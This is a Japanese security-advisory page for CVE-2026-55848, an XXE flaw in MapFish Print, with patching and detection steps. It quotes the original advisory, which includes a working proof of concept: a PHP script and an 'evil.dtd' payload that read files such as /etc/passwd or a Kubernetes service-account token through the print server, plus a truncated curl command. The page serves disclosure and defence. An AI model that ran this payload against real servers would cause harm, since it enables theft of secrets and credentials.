English version →
カテゴリ
CVE-2026-55848 high CVSS 8.6

org.mapfish.print:print-lib に XXE (外部XMLエンティティ) (CVE-2026-55848)

概要

org.mapfish.print:print-lib に 脆弱性 (CVE-2026-55848) が存在。機密情報が外部に流出する可能性があります。対策: 4.0.5 以上に更新。

原文の説明

取得元が公開している説明をそのまま載せています (多くは英語)。

Summary

XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

Details

To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC

Host this php file somewhere as xxe.php:

<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>

<!-- ".str_repeat('x',200)." -->
unknown
";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

`curl -sk 'https://mapfish/api/print3/print/mapviewer/buildre…

出典: GitHub Security Advisories (Global) NVD GitHub Advisory

自動生成の要約

取得元のデータ (CVSS・CWE・影響バージョンなど) から SecPulse が定型文で組み立てた要約です。AI は使っていません。正確な内容は下の原文と参照URLで確認してください。

org.mapfish.print:print-lib という製品で、CVE-2026-55848 という番号がついた弱点 (脆弱性) が見つかりました。
機密情報が外部に流出する可能性があります。重要度は CVSS スコア 8.6/10 です。
対策: org.mapfish.print:print-lib を 4.0.5 以上に更新してください。
心配なら、システム担当者や製品の公式サイトで「org.mapfish.print:print-lib CVE-2026-55848」を検索してください。

CVE-2026-55848 (org.mapfish.print:print-lib) — CWE-611 / CVSS v3 8.6
攻撃ベクター: ネットワーク経由 (リモート攻撃可) / 認証不要 / 被害者操作不要
修正バージョン: 4.0.5 (即時適用推奨)
対応方針: 1) SBOMで影響バージョン横断確認, 2) ステージング検証→本番更新, 3) WAF/プロキシで該当エンドポイントを監視, 4) ログでIOC調査。
参考: 当ページの『参照URL』の GHSA / vendor advisory / patched release を参照。

❓ 何が問題か

org.mapfish.print:print-lib に 脆弱性 (CWE-611) があります。

📍 影響範囲

org.mapfish.print:print-lib の影響バージョンはベンダーのアドバイザリで確認してください。

🔥 重要度

重要度: 重要 (CVSS 8.6/10)。機密情報が外部に流出する可能性があります。

🔧 修正方法

4.0.5 に更新してください。

🛡️ 暫定回避

修正版が未提供時は、影響機能の無効化・WAFルール・ネットワークACLでの遮断を検討。

🔍 検知方法

Webサーバ・プロキシ・WAFログで該当CVEのIOCに合致する不審リクエストを検索。SBOM/依存ファイルで影響バージョンを横断確認。

対応アクション

SOC/SREチームが順番に実行すべき具体的なステップとコマンド例

  1. 1
    影響範囲の特定 identify
    Audit SBOM/dependencies for affected components.

    資産台帳・SBOM・依存マニフェストで org.mapfish.print:print-lib を使っているサービスとバージョンを洗い出す。

  2. 2
    パッチ適用 patch
    Upgrade org.mapfish.print:print-lib to 4.0.5

    ステージング環境で 4.0.5 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    事後検証 verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

影響パッケージ

maven org.mapfish.print:print-lib
[{"type":"ECOSYSTEM","events":[{"introduced":"3.34.0"},{"fixed":"4.0.5"}]}]
maven org.mapfish:print.print-servlet
[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.28.30"}]}]
maven org.mapfish.print:print-servlet
[{"type":"ECOSYSTEM","events":[{"introduced":"3.34.0"},{"fixed":"4.0.5"}]}]

参照URL

当サイトでは、アクセス解析と広告の効果測定のために Cookie を使います。株式会社Game のサイト共通の設定です。 詳しく